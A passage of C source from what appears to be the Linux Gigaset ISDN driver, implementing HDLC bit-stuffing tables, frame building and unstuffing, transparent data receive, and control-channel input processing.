0x0078, 0x0079, 0x007a, 0x20f3, 0x207c, 0x207d, 0x20be, 0x40fb,\n 0x0480, 0x0481, 0x0482, 0x2503, 0x0484, 0x0485, 0x0486, 0x250b, 0x0488, 0x0489, 0x048a, 0x2513, 0x048c, 0x048d, 0x048e, 0x251b,\n 0x0490, 0x0491, 0x0492, 0x2523, 0x0494, 0x0495, 0x0496, 0x252b, 0x0498, 0x0499, 0x049a, 0x2533, 0x049c, 0x049d, 0x049e, 0x253b,\n 0x04a0, 0x04a1, 0x04a2, 0x2543, 0x04a4, 0x04a5, 0x04a6, 0x254b, 0x04a8, 0x04a9, 0x04aa, 0x2553, 0x04ac, 0x04ad, 0x04ae, 0x255b,\n 0x04b0, 0x04b1, 0x04b2, 0x2563, 0x04b4, 0x04b5, 0x04b6, 0x256b, 0x04b8, 0x04b9, 0x04ba, 0x2573, 0x04bc, 0x04bd, 0x253e, 0x257b,\n 0x08c0, 0x08c1, 0x08c2, 0x2983, 0x08c4, 0x08c5, 0x08c6, 0x298b, 0x08c8, 0x08c9, 0x08ca, 0x2993, 0x08cc, 0x08cd, 0x08ce, 0x299b,\n 0x08d0, 0x08d1, 0x08d2, 0x29a3, 0x08d4, 0x08d5, 0x08d6, 0x29ab, 0x08d8, 0x08d9, 0x08da, 0x29b3, 0x08dc, 0x08dd, 0x08de, 0x29bb,\n 0x0ce0, 0x0ce1, 0x0ce2, 0x2dc3, 0x0ce4, 0x0ce5, 0x0ce6, 0x2dcb, 0x0ce8, 0x0ce9, 0x0cea, 0x2dd3, 0x0cec, 0x0ced, 0x0cee, 0x2ddb,\n 0x10f0, 0x10f1, 0x10f2, 0x31e3, 0x10f4, 0x10f5, 0x10f6, 0x31eb, 0x20f8, 0x20f9, 0x20fa, 0x41f3, 0x257c, 0x257d, 0x29be, 0x46fb,\n\n// previous 1s = 4:\n 0x0000, 0x2001, 0x0002, 0x2005, 0x0004, 0x2009, 0x0006, 0x200d, 0x0008, 0x2011, 0x000a, 0x2015, 0x000c, 0x2019, 0x000e, 0x201d,\n 0x0010, 0x2021, 0x0012, 0x2025, 0x0014, 0x2029, 0x0016, 0x202d, 0x0018, 0x2031, 0x001a, 0x2035, 0x001c, 0x2039, 0x001e, 0x203d,\n 0x0020, 0x2041, 0x0022, 0x2045, 0x0024, 0x2049, 0x0026, 0x204d, 0x0028, 0x2051, 0x002a, 0x2055, 0x002c, 0x2059, 0x002e, 0x205d,\n 0x0030, 0x2061, 0x0032, 0x2065, 0x0034, 0x2069, 0x0036, 0x206d, 0x0038, 0x2071, 0x003a, 0x2075, 0x003c, 0x2079, 0x203e, 0x407d,\n 0x0040, 0x2081, 0x0042, 0x2085, 0x0044, 0x2089, 0x0046, 0x208d, 0x0048, 0x2091, 0x004a, 0x2095, 0x004c, 0x2099, 0x004e, 0x209d,\n 0x0050, 0x20a1, 0x0052, 0x20a5, 0x0054, 0x20a9, 0x0056, 0x20ad, 0x0058, 0x20b1, 0x005a, 0x20b5, 0x005c, 0x20b9, 0x005e, 0x20bd,\n 0x0060, 0x20c1, 0x0062, 0x20c5, 0x0064, 0x20c9, 0x0066, 0x20cd, 0x0068, 0x20d1, 0x006a, 0x20d5, 0x006c, 0x20d9, 0x006e, 0x20dd,\n 0x0070, 0x20e1, 0x0072, 0x20e5, 0x0074, 0x20e9, 0x0076, 0x20ed, 0x0078, 0x20f1, 0x007a, 0x20f5, 0x207c, 0x40f9, 0x20be, 0x417d,\n 0x0480, 0x2501, 0x0482, 0x2505, 0x0484, 0x2509, 0x0486, 0x250d, 0x0488, 0x2511, 0x048a, 0x2515, 0x048c, 0x2519, 0x048e, 0x251d,\n 0x0490, 0x2521, 0x0492, 0x2525, 0x0494, 0x2529, 0x0496, 0x252d, 0x0498, 0x2531, 0x049a, 0x2535, 0x049c, 0x2539, 0x049e, 0x253d,\n 0x04a0, 0x2541, 0x04a2, 0x2545, 0x04a4, 0x2549, 0x04a6, 0x254d, 0x04a8, 0x2551, 0x04aa, 0x2555, 0x04ac, 0x2559, 0x04ae, 0x255d,\n 0x04b0, 0x2561, 0x04b2, 0x2565, 0x04b4, 0x2569, 0x04b6, 0x256d, 0x04b8, 0x2571, 0x04ba, 0x2575, 0x04bc, 0x2579, 0x253e, 0x467d,\n 0x08c0, 0x2981, 0x08c2, 0x2985, 0x08c4, 0x2989, 0x08c6, 0x298d, 0x08c8, 0x2991, 0x08ca, 0x2995, 0x08cc, 0x2999, 0x08ce, 0x299d,\n 0x08d0, 0x29a1, 0x08d2, 0x29a5, 0x08d4, 0x29a9, 0x08d6, 0x29ad, 0x08d8, 0x29b1, 0x08da, 0x29b5, 0x08dc, 0x29b9, 0x08de, 0x29bd,\n 0x0ce0, 0x2dc1, 0x0ce2, 0x2dc5, 0x0ce4, 0x2dc9, 0x0ce6, 0x2dcd, 0x0ce8, 0x2dd1, 0x0cea, 0x2dd5, 0x0cec, 0x2dd9, 0x0cee, 0x2ddd,\n 0x10f0, 0x31e1, 0x10f2, 0x31e5, 0x10f4, 0x31e9, 0x10f6, 0x31ed, 0x20f8, 0x41f1, 0x20fa, 0x41f5, 0x257c, 0x46f9, 0x29be, 0x4b7d\n};\n\n/* hdlc_bitstuff_byte\n * perform HDLC bitstuffing for one input byte (8 bits, LSB first)\n * parameters:\n *\tcin\tinput byte\n *\tones\tnumber of trailing '1' bits in result before this step\n *\tiwb\tpointer to output buffer structure (write semaphore must be held)\n * return value:\n *\tnumber of trailing '1' bits in result after this step\n */\n\nstatic inline int hdlc_bitstuff_byte(struct isowbuf_t *iwb, unsigned char cin,\n\t\t\t\t int ones)\n{\n\tu16 stuff;\n\tint shiftinc, newones;\n\n\t/* get stuffing information for input byte\n\t * value: bit 9.. 0 = result bits\n\t * bit 12..10 = number of trailing '1' bits in result\n\t * bit 14..13 = number of bits added by stuffing\n\t */\n\tstuff = stufftab[256 * ones + cin];\n\tshiftinc = (stuff >> 13) & 3;\n\tnewones = (stuff >> 10) & 7;\n\tstuff &= 0x3ff;\n\n\t/* append stuffed byte to output stream */\n\tisowbuf_putbits(iwb, stuff, 8 + shiftinc);\n\treturn newones;\n}\n\n/* hdlc_buildframe\n * Perform HDLC framing with bitstuffing on a byte buffer\n * The input buffer is regarded as a sequence of bits, starting with the least\n * significant bit of the first byte and ending with the most significant bit\n * of the last byte. A 16 bit FCS is appended as defined by RFC 1662.\n * Whenever five consecutive '1' bits appear in the resulting bit sequence, a\n * '0' bit is inserted after them.\n * The resulting bit string and a closing flag pattern (PPP_FLAG, '01111110')\n * are appended to the output buffer starting at the given bit position, which\n * is assumed to already contain a leading flag.\n * The output buffer must have sufficient length; count + count/5 + 6 bytes\n * starting at *out are safe and are verified to be present.\n * parameters:\n *\tin\tinput buffer\n *\tcount\tnumber of bytes in input buffer\n *\tiwb\tpointer to output buffer structure (write semaphore must be held)\n * return value:\n *\tposition of end of packet in output buffer on success,\n *\t-EAGAIN if write semaphore busy or buffer full\n */\n\nstatic inline int hdlc_buildframe(struct isowbuf_t *iwb,\n\t\t\t\t unsigned char *in, int count)\n{\n\tint ones;\n\tu16 fcs;\n\tint end;\n\tunsigned char c;\n\n\tif (isowbuf_freebytes(iwb) < count + count / 5 + 6 ||\n\t !isowbuf_startwrite(iwb)) {\n\t\tgig_dbg(DEBUG_ISO, \"%s: %d bytes free -> -EAGAIN\",\n\t\t\t__func__, isowbuf_freebytes(iwb));\n\t\treturn -EAGAIN;\n\t}\n\n\tdump_bytes(DEBUG_STREAM, \"snd data\", in, count);\n\n\t/* bitstuff and checksum input data */\n\tfcs = PPP_INITFCS;\n\tones = 0;\n\twhile (count-- > 0) {\n\t\tc = *in++;\n\t\tones = hdlc_bitstuff_byte(iwb, c, ones);\n\t\tfcs = crc_ccitt_byte(fcs, c);\n\t}\n\n\t/* bitstuff and append FCS (complemented, least significant byte first) */\n\tfcs ^= 0xffff;\n\tones = hdlc_bitstuff_byte(iwb, fcs & 0x00ff, ones);\n\tones = hdlc_bitstuff_byte(iwb, (fcs >> 8) & 0x00ff, ones);\n\n\t/* put closing flag and repeat byte for flag idle */\n\tisowbuf_putflag(iwb);\n\tend = isowbuf_donewrite(iwb);\n\tdump_bytes(DEBUG_STREAM_DUMP, \"isowbuf\", iwb->data, end + 1);\n\treturn end;\n}\n\n/* trans_buildframe\n * Append a block of 'transparent' data to the output buffer,\n * inverting the bytes.\n * The output buffer must have sufficient length; count bytes\n * starting at *out are safe and are verified to be present.\n * parameters:\n *\tin\tinput buffer\n *\tcount\tnumber of bytes in input buffer\n *\tiwb\tpointer to output buffer structure (write semaphore must be held)\n * return value:\n *\tposition of end of packet in output buffer on success,\n *\t-EAGAIN if write semaphore busy or buffer full\n */\n\nstatic inline int trans_buildframe(struct isowbuf_t *iwb,\n\t\t\t\t unsigned char *in, int count)\n{\n\tint write;\n\tunsigned char c;\n\n\tif (unlikely(count <= 0))\n\t\treturn atomic_read(&iwb->write); /* better ideas? */\n\n\tif (isowbuf_freebytes(iwb) < count ||\n\t !isowbuf_startwrite(iwb)) {\n\t\tgig_dbg(DEBUG_ISO, \"can't put %d bytes\", count);\n\t\treturn -EAGAIN;\n\t}\n\n\tgig_dbg(DEBUG_STREAM, \"put %d bytes\", count);\n\twrite = atomic_read(&iwb->write);\n\tdo {\n\t\tc = bitrev8(*in++);\n\t\tiwb->data[write++] = c;\n\t\twrite %= BAS_OUTBUFSIZE;\n\t} while (--count > 0);\n\tatomic_set(&iwb->write, write);\n\tiwb->idle = c;\n\n\treturn isowbuf_donewrite(iwb);\n}\n\nint gigaset_isoc_buildframe(struct bc_state *bcs, unsigned char *in, int len)\n{\n\tint result;\n\n\tswitch (bcs->proto2) {\n\tcase ISDN_PROTO_L2_HDLC:\n\t\tresult = hdlc_buildframe(bcs->hw.bas->isooutbuf, in, len);\n\t\tgig_dbg(DEBUG_ISO, \"%s: %d bytes HDLC -> %d\",\n\t\t\t__func__, len, result);\n\t\tbreak;\n\tdefault:\t\t\t/* assume transparent */\n\t\tresult = trans_buildframe(bcs->hw.bas->isooutbuf, in, len);\n\t\tgig_dbg(DEBUG_ISO, \"%s: %d bytes trans -> %d\",\n\t\t\t__func__, len, result);\n\t}\n\treturn result;\n}\n\n/* hdlc_putbyte\n * append byte c to current skb of B channel structure *bcs, updating fcs\n */\nstatic inline void hdlc_putbyte(unsigned char c, struct bc_state *bcs)\n{\n\tbcs->fcs = crc_ccitt_byte(bcs->fcs, c);\n\tif (unlikely(bcs->skb == NULL)) {\n\t\t/* skipping */\n\t\treturn;\n\t}\n\tif (unlikely(bcs->skb->len == SBUFSIZE)) {\n\t\tdev_warn(bcs->cs->dev, \"received oversized packet discarded\\n\");\n\t\tbcs->hw.bas->giants++;\n\t\tdev_kfree_skb_any(bcs->skb);\n\t\tbcs->skb = NULL;\n\t\treturn;\n\t}\n\t*__skb_put(bcs->skb, 1) = c;\n}\n\n/* hdlc_flush\n * drop partial HDLC data packet\n */\nstatic inline void hdlc_flush(struct bc_state *bcs)\n{\n\t/* clear skb or allocate new if not skipping */\n\tif (likely(bcs->skb != NULL))\n\t\tskb_trim(bcs->skb, 0);\n\telse if (!bcs->ignore) {\n\t\tif ((bcs->skb = dev_alloc_skb(SBUFSIZE + HW_HDR_LEN)) != NULL)\n\t\t\tskb_reserve(bcs->skb, HW_HDR_LEN);\n\t\telse\n\t\t\tdev_err(bcs->cs->dev, \"could not allocate skb\\n\");\n\t}\n\n\t/* reset packet state */\n\tbcs->fcs = PPP_INITFCS;\n}\n\n/* hdlc_done\n * process completed HDLC data packet\n */\nstatic inline void hdlc_done(struct bc_state *bcs)\n{\n\tstruct sk_buff *procskb;\n\n\tif (unlikely(bcs->ignore)) {\n\t\tbcs->ignore--;\n\t\thdlc_flush(bcs);\n\t\treturn;\n\t}\n\n\tif ((procskb = bcs->skb) == NULL) {\n\t\t/* previous error */\n\t\tgig_dbg(DEBUG_ISO, \"%s: skb=NULL\", __func__);\n\t\tgigaset_rcv_error(NULL, bcs->cs, bcs);\n\t} else if (procskb->len < 2) {\n\t\tdev_notice(bcs->cs->dev, \"received short frame (%d octets)\\n\",\n\t\t\t procskb->len);\n\t\tbcs->hw.bas->runts++;\n\t\tgigaset_rcv_error(procskb, bcs->cs, bcs);\n\t} else if (bcs->fcs != PPP_GOODFCS) {\n\t\tdev_notice(bcs->cs->dev, \"frame check error (0x%04x)\\n\",\n\t\t\t bcs->fcs);\n\t\tbcs->hw.bas->fcserrs++;\n\t\tgigaset_rcv_error(procskb, bcs->cs, bcs);\n\t} else {\n\t\tprocskb->len -= 2;\t\t/* subtract FCS */\n\t\tprocskb->tail -= 2;\n\t\tgig_dbg(DEBUG_ISO, \"%s: good frame (%d octets)\",\n\t\t\t__func__, procskb->len);\n\t\tdump_bytes(DEBUG_STREAM,\n\t\t\t \"rcv data\", procskb->data, procskb->len);\n\t\tbcs->hw.bas->goodbytes += procskb->len;\n\t\tgigaset_rcv_skb(procskb, bcs->cs, bcs);\n\t}\n\n\tif ((bcs->skb = dev_alloc_skb(SBUFSIZE + HW_HDR_LEN)) != NULL)\n\t\tskb_reserve(bcs->skb, HW_HDR_LEN);\n\telse\n\t\tdev_err(bcs->cs->dev, \"could not allocate skb\\n\");\n\tbcs->fcs = PPP_INITFCS;\n}\n\n/* hdlc_frag\n * drop HDLC data packet with non-integral last byte\n */\nstatic inline void hdlc_frag(struct bc_state *bcs, unsigned inbits)\n{\n\tif (unlikely(bcs->ignore)) {\n\t\tbcs->ignore--;\n\t\thdlc_flush(bcs);\n\t\treturn;\n\t}\n\n\tdev_notice(bcs->cs->dev, \"received partial byte (%d bits)\\n\", inbits);\n\tbcs->hw.bas->alignerrs++;\n\tgigaset_rcv_error(bcs->skb, bcs->cs, bcs);\n\n\tif ((bcs->skb = dev_alloc_skb(SBUFSIZE + HW_HDR_LEN)) != NULL)\n\t\tskb_reserve(bcs->skb, HW_HDR_LEN);\n\telse\n\t\tdev_err(bcs->cs->dev, \"could not allocate skb\\n\");\n\tbcs->fcs = PPP_INITFCS;\n}\n\n/* bit counts lookup table for HDLC bit unstuffing\n * index: input byte\n * value: bit 0..3 = number of consecutive '1' bits starting from LSB\n * bit 4..6 = number of consecutive '1' bits starting from MSB\n *\t\t (replacing 8 by 7 to make it fit; the algorithm won't care)\n * bit 7 set if there are 5 or more \"interior\" consecutive '1' bits\n */\nstatic const unsigned char bitcounts[256] = {\n 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00, 0x03, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00, 0x04,\n 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00, 0x03, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00, 0x05,\n 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00, 0x03, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00, 0x04,\n 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00, 0x03, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x80, 0x06,\n 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00, 0x03, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00, 0x04,\n 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00, 0x03, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00, 0x05,\n 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00, 0x03, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00, 0x04,\n 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00, 0x03, 0x00, 0x01, 0x00, 0x02, 0x80, 0x81, 0x80, 0x07,\n 0x10, 0x11, 0x10, 0x12, 0x10, 0x11, 0x10, 0x13, 0x10, 0x11, 0x10, 0x12, 0x10, 0x11, 0x10, 0x14,\n 0x10, 0x11, 0x10, 0x12, 0x10, 0x11, 0x10, 0x13, 0x10, 0x11, 0x10, 0x12, 0x10, 0x11, 0x10, 0x15,\n 0x10, 0x11, 0x10, 0x12, 0x10, 0x11, 0x10, 0x13, 0x10, 0x11, 0x10, 0x12, 0x10, 0x11, 0x10, 0x14,\n 0x10, 0x11, 0x10, 0x12, 0x10, 0x11, 0x10, 0x13, 0x10, 0x11, 0x10, 0x12, 0x10, 0x11, 0x90, 0x16,\n 0x20, 0x21, 0x20, 0x22, 0x20, 0x21, 0x20, 0x23, 0x20, 0x21, 0x20, 0x22, 0x20, 0x21, 0x20, 0x24,\n 0x20, 0x21, 0x20, 0x22, 0x20, 0x21, 0x20, 0x23, 0x20, 0x21, 0x20, 0x22, 0x20, 0x21, 0x20, 0x25,\n 0x30, 0x31, 0x30, 0x32, 0x30, 0x31, 0x30, 0x33, 0x30, 0x31, 0x30, 0x32, 0x30, 0x31, 0x30, 0x34,\n 0x40, 0x41, 0x40, 0x42, 0x40, 0x41, 0x40, 0x43, 0x50, 0x51, 0x50, 0x52, 0x60, 0x61, 0x70, 0x78\n};\n\n/* hdlc_unpack\n * perform HDLC frame processing (bit unstuffing, flag detection, FCS calculation)\n * on a sequence of received data bytes (8 bits each, LSB first)\n * pass on successfully received, complete frames as SKBs via gigaset_rcv_skb\n * notify of errors via gigaset_rcv_error\n * tally frames, errors etc. in BC structure counters\n * parameters:\n *\tsrc\treceived data\n *\tcount\tnumber of received bytes\n *\tbcs\treceiving B channel structure\n */\nstatic inline void hdlc_unpack(unsigned char *src, unsigned count,\n\t\t\t struct bc_state *bcs)\n{\n\tstruct bas_bc_state *ubc = bcs->hw.bas;\n\tint inputstate;\n\tunsigned seqlen, inbyte, inbits;\n\n\t/* load previous state:\n\t * inputstate = set of flag bits:\n\t * - INS_flag_hunt: no complete opening flag received since connection setup or last abort\n\t * - INS_have_data: at least one complete data byte received since last flag\n\t * seqlen = number of consecutive '1' bits in last 7 input stream bits (0..7)\n\t * inbyte = accumulated partial data byte (if !INS_flag_hunt)\n\t * inbits = number of valid bits in inbyte, starting at LSB (0..6)\n\t */\n\tinputstate = bcs->inputstate;\n\tseqlen = ubc->seqlen;\n\tinbyte = ubc->inbyte;\n\tinbits = ubc->inbits;\n\n\t/* bit unstuffing a byte a time\n\t * Take your time to understand this; it's straightforward but tedious.\n\t * The \"bitcounts\" lookup table is used to speed up the counting of\n\t * leading and trailing '1' bits.\n\t */\n\twhile (count--) {\n\t\tunsigned char c = *src++;\n\t\tunsigned char tabentry = bitcounts[c];\n\t\tunsigned lead1 = tabentry & 0x0f;\n\t\tunsigned trail1 = (tabentry >> 4) & 0x0f;\n\n\t\tseqlen += lead1;\n\n\t\tif (unlikely(inputstate & INS_flag_hunt)) {\n\t\t\tif (c == PPP_FLAG) {\n\t\t\t\t/* flag-in-one */\n\t\t\t\tinputstate &= ~(INS_flag_hunt | INS_have_data);\n\t\t\t\tinbyte = 0;\n\t\t\t\tinbits = 0;\n\t\t\t} else if (seqlen == 6 && trail1 != 7) {\n\t\t\t\t/* flag completed & not followed by abort */\n\t\t\t\tinputstate &= ~(INS_flag_hunt | INS_have_data);\n\t\t\t\tinbyte = c >> (lead1 + 1);\n\t\t\t\tinbits = 7 - lead1;\n\t\t\t\tif (trail1 >= 8) {\n\t\t\t\t\t/* interior stuffing: omitting the MSB handles most cases */\n\t\t\t\t\tinbits--;\n\t\t\t\t\t/* correct the incorrectly handled cases individually */\n\t\t\t\t\tswitch (c) {\n\t\t\t\t\tcase 0xbe:\n\t\t\t\t\t\tinbyte = 0x3f;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t/* else: continue flag-hunting */\n\t\t} else if (likely(seqlen < 5 && trail1 < 7)) {\n\t\t\t/* streamlined case: 8 data bits, no stuffing */\n\t\t\tinbyte |= c << inbits;\n\t\t\thdlc_putbyte(inbyte & 0xff, bcs);\n\t\t\tinputstate |= INS_have_data;\n\t\t\tinbyte >>= 8;\n\t\t\t/* inbits unchanged */\n\t\t} else if (likely(seqlen == 6 && inbits == 7 - lead1 &&\n\t\t\t\t trail1 + 1 == inbits &&\n\t\t\t\t !(inputstate & INS_have_data))) {\n\t\t\t/* streamlined case: flag idle - state unchanged */\n\t\t} else if (unlikely(seqlen > 6)) {\n\t\t\t/* abort sequence */\n\t\t\tubc->aborts++;\n\t\t\thdlc_flush(bcs);\n\t\t\tinputstate |= INS_flag_hunt;\n\t\t} else if (seqlen == 6) {\n\t\t\t/* closing flag, including (6 - lead1) '1's and one '0' from inbits */\n\t\t\tif (inbits > 7 - lead1) {\n\t\t\t\thdlc_frag(bcs, inbits + lead1 - 7);\n\t\t\t\tinputstate &= ~INS_have_data;\n\t\t\t} else {\n\t\t\t\tif (inbits < 7 - lead1)\n\t\t\t\t\tubc->stolen0s ++;\n\t\t\t\tif (inputstate & INS_have_data) {\n\t\t\t\t\thdlc_done(bcs);\n\t\t\t\t\tinputstate &= ~INS_have_data;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (c == PPP_FLAG) {\n\t\t\t\t/* complete flag, LSB overlaps preceding flag */\n\t\t\t\tubc->shared0s ++;\n\t\t\t\tinbits = 0;\n\t\t\t\tinbyte = 0;\n\t\t\t} else if (trail1 != 7) {\n\t\t\t\t/* remaining bits */\n\t\t\t\tinbyte = c >> (lead1 + 1);\n\t\t\t\tinbits = 7 - lead1;\n\t\t\t\tif (trail1 >= 8) {\n\t\t\t\t\t/* interior stuffing: omitting the MSB handles most cases */\n\t\t\t\t\tinbits--;\n\t\t\t\t\t/* correct the incorrectly handled cases individually */\n\t\t\t\t\tswitch (c) {\n\t\t\t\t\tcase 0xbe:\n\t\t\t\t\t\tinbyte = 0x3f;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t/* abort sequence follows, skb already empty anyway */\n\t\t\t\tubc->aborts++;\n\t\t\t\tinputstate |= INS_flag_hunt;\n\t\t\t}\n\t\t} else { /* (seqlen < 6) && (seqlen == 5 || trail1 >= 7) */\n\n\t\t\tif (c == PPP_FLAG) {\n\t\t\t\t/* complete flag */\n\t\t\t\tif (seqlen == 5)\n\t\t\t\t\tubc->stolen0s++;\n\t\t\t\tif (inbits) {\n\t\t\t\t\thdlc_frag(bcs, inbits);\n\t\t\t\t\tinbits = 0;\n\t\t\t\t\tinbyte = 0;\n\t\t\t\t} else if (inputstate & INS_have_data)\n\t\t\t\t\thdlc_done(bcs);\n\t\t\t\tinputstate &= ~INS_have_data;\n\t\t\t} else if (trail1 == 7) {\n\t\t\t\t/* abort sequence */\n\t\t\t\tubc->aborts++;\n\t\t\t\thdlc_flush(bcs);\n\t\t\t\tinputstate |= INS_flag_hunt;\n\t\t\t} else {\n\t\t\t\t/* stuffed data */\n\t\t\t\tif (trail1 < 7) { /* => seqlen == 5 */\n\t\t\t\t\t/* stuff bit at position lead1, no interior stuffing */\n\t\t\t\t\tunsigned char mask = (1 << lead1) - 1;\n\t\t\t\t\tc = (c & mask) | ((c & ~mask) >> 1);\n\t\t\t\t\tinbyte |= c << inbits;\n\t\t\t\t\tinbits += 7;\n\t\t\t\t} else if (seqlen < 5) { /* trail1 >= 8 */\n\t\t\t\t\t/* interior stuffing: omitting the MSB handles most cases */\n\t\t\t\t\t/* correct the incorrectly handled cases individually */\n\t\t\t\t\tswitch (c) {\n\t\t\t\t\tcase 0xbe:\n\t\t\t\t\t\tc = 0x7e;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tinbyte |= c << inbits;\n\t\t\t\t\tinbits += 7;\n\t\t\t\t} else { /* seqlen == 5 && trail1 >= 8 */\n\n\t\t\t\t\t/* stuff bit at lead1 *and* interior stuffing */\n\t\t\t\t\tswitch (c) {\t/* unstuff individually */\n\t\t\t\t\tcase 0x7d:\n\t\t\t\t\t\tc = 0x3f;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 0xbe:\n\t\t\t\t\t\tc = 0x3f;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 0x3e:\n\t\t\t\t\t\tc = 0x1f;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 0x7c:\n\t\t\t\t\t\tc = 0x3e;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tinbyte |= c << inbits;\n\t\t\t\t\tinbits += 6;\n\t\t\t\t}\n\t\t\t\tif (inbits >= 8) {\n\t\t\t\t\tinbits -= 8;\n\t\t\t\t\thdlc_putbyte(inbyte & 0xff, bcs);\n\t\t\t\t\tinputstate |= INS_have_data;\n\t\t\t\t\tinbyte >>= 8;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tseqlen = trail1 & 7;\n\t}\n\n\t/* save new state */\n\tbcs->inputstate = inputstate;\n\tubc->seqlen = seqlen;\n\tubc->inbyte = inbyte;\n\tubc->inbits = inbits;\n}\n\n/* trans_receive\n * pass on received USB frame transparently as SKB via gigaset_rcv_skb\n * invert bytes\n * tally frames, errors etc. in BC structure counters\n * parameters:\n *\tsrc\treceived data\n *\tcount\tnumber of received bytes\n *\tbcs\treceiving B channel structure\n */\nstatic inline void trans_receive(unsigned char *src, unsigned count,\n\t\t\t\t struct bc_state *bcs)\n{\n\tstruct sk_buff *skb;\n\tint dobytes;\n\tunsigned char *dst;\n\n\tif (unlikely(bcs->ignore)) {\n\t\tbcs->ignore--;\n\t\thdlc_flush(bcs);\n\t\treturn;\n\t}\n\tif (unlikely((skb = bcs->skb) == NULL)) {\n\t\tbcs->skb = skb = dev_alloc_skb(SBUFSIZE + HW_HDR_LEN);\n\t\tif (!skb) {\n\t\t\tdev_err(bcs->cs->dev, \"could not allocate skb\\n\");\n\t\t\treturn;\n\t\t}\n\t\tskb_reserve(skb, HW_HDR_LEN);\n\t}\n\tbcs->hw.bas->goodbytes += skb->len;\n\tdobytes = TRANSBUFSIZE - skb->len;\n\twhile (count > 0) {\n\t\tdst = skb_put(skb, count < dobytes ? count : dobytes);\n\t\twhile (count > 0 && dobytes > 0) {\n\t\t\t*dst++ = bitrev8(*src++);\n\t\t\tcount--;\n\t\t\tdobytes--;\n\t\t}\n\t\tif (dobytes == 0) {\n\t\t\tgigaset_rcv_skb(skb, bcs->cs, bcs);\n\t\t\tbcs->skb = skb = dev_alloc_skb(SBUFSIZE + HW_HDR_LEN);\n\t\t\tif (!skb) {\n\t\t\t\tdev_err(bcs->cs->dev,\n\t\t\t\t\t\"could not allocate skb\\n\");\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tskb_reserve(bcs->skb, HW_HDR_LEN);\n\t\t\tdobytes = TRANSBUFSIZE;\n\t\t}\n\t}\n}\n\nvoid gigaset_isoc_receive(unsigned char *src, unsigned count, struct bc_state *bcs)\n{\n\tswitch (bcs->proto2) {\n\tcase ISDN_PROTO_L2_HDLC:\n\t\thdlc_unpack(src, count, bcs);\n\t\tbreak;\n\tdefault:\t\t/* assume transparent */\n\t\ttrans_receive(src, count, bcs);\n\t}\n}\n\n/* == data input =========================================================== */\n\nstatic void cmd_loop(unsigned char *src, int numbytes, struct inbuf_t *inbuf)\n{\n\tstruct cardstate *cs = inbuf->cs;\n\tunsigned cbytes = cs->cbytes;\n\n\twhile (numbytes--) {\n\t\t/* copy next character, check for end of line */\n\t\tswitch (cs->respdata[cbytes] = *src++) {\n\t\tcase '\\r':\n\t\tcase '\\n':\n\t\t\t/* end of line */\n\t\t\tgig_dbg(DEBUG_TRANSCMD, \"%s: End of Command (%d Bytes)\",\n\t\t\t\t__func__, cbytes);\n\t\t\tif (cbytes >= MAX_RESP_SIZE - 1)\n\t\t\t\tdev_warn(cs->dev, \"response too large\\n\");\n\t\t\tcs->cbytes = cbytes;\n\t\t\tgigaset_handle_modem_response(cs);\n\t\t\tcbytes = 0;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\t/* advance in line buffer, checking for overflow */\n\t\t\tif (cbytes < MAX_RESP_SIZE - 1)\n\t\t\t\tcbytes++;\n\t\t}\n\t}\n\n\t/* save state */\n\tcs->cbytes = cbytes;\n}\n\n\n/* process a block of data received through the control channel\n */\nvoid gigaset_isoc_input(struct inbuf_t *inbuf)\n{\n\tstruct cardstate *cs = inbuf->cs;\n\tunsigned tail, head, numbytes;\n\tunsigned char *src;\n\n\thead = atomic_read(&inbuf->head);\n\twhile (head != (tail = atomic_read(&inbuf->tail))) {\n\t\tgig_dbg(DEBUG_INTR, \"buffer state: %u -> %u\", head, tail);\n\t\tif (head > tail)\n\t\t\ttail = RBUFSIZE;\n\t\tsrc = inbuf->data + head;\n\t\tnumbytes = tail - head;\n\t\tgig_dbg(DEBUG_INTR, \"processing %u bytes\", numbytes);\n\n\t\tif (atomic_read(&cs->mstate) == MS_LOCKED) {\n\t\t\tgigaset_dbg_buffer(DEBUG_LOCKCMD, \"received response\",\n\t\t\t\t\t numbytes, src);\n\t\t\tgigaset_if_receive(inbuf->cs, src, numbytes);\n\t\t} else {\n\t\t\tgigaset_dbg_buffer(DEBUG_CMD, \"received response\",\n\t\t\t\t\t numbytes, src);\n\t\t\tcmd_loop(src, numbytes, inbuf);\n\t\t}\n\n\t\thead += numbytes;\n\t\tif (head == RBUFSIZE)\n\t\t\thead = 0;\n\t\tgig_dbg(DEBUG_INTR, \"setting head to %u\", head);\n\t\tatomic_set(&inbuf->head, head);\n\t}\n}\n\n\n/* == data output ========================================================== */\n\n/* gigaset_send_skb\n * called by common.c to queue an skb for sending\n * and start transmission if necessary\n * parameters:\n *\tB Channel control structure\n *\tskb\n * return value:\n *\tnumber of bytes accepted for sending\n *\t(skb->len if ok, 0 if out of buffer space)\n *\tor error code (< 0, eg. -EINVAL)\n */\nint gigaset_isoc_send_skb(struct bc_state *bcs, struct 